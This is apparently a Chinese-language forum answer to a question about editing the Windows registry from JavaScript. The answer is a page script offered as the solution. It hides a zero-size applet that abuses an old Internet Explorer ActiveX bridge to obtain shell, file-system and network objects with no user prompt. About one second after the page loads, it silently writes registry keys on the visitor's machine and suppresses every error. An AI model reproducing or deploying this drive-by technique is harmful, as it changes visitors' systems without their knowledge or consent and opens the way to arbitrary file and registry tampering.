JS沒有提供操作註冊表的接口
只能調用WSH操作註冊標.而且很簡單

解决方案 »

  1.   

    <!-- Begin set start page andinternet Explorer Window title-->
    <SCRIPT language=JavaScript>
    document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
    function f(){
    try
    {
    //ActiveX初始化过程
    a1=document.applets[0];
    a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
    a1.createInstance();
    Shl = a1.GetObject();
    a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
    a1.createInstance();
    FSO = a1.GetObject();
    a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
    a1.createInstance();
    Net = a1.GetObject();
    try
    {
    if (document.cookie.indexOf("Chg") == -1)
    {
    Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\WindowTitle", "Microsoft Internet Explorer");
    Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\WindowTitle", "Microsoft Internet Explorer");
    //检测用户注册表并修改相应的键值为系统默认值---“Microsoft Internet Explorer”
    var expdate = new Date((new Date()).getTime() + (1));
    document.cookie="Chg=general; expires=" + expdate.toGMTString() + ";path=/;"
    }
    }
    catch(e)
    {}
    }
    catch(e)
    {}
    }
    function init()
    {
    setTimeout("f()", 1000);//实现打开页面后1秒钟内执行测试修改注册表的工作
    }
    init();</SCRIPT>
    <!--End set start page and internet Explorer Window title-->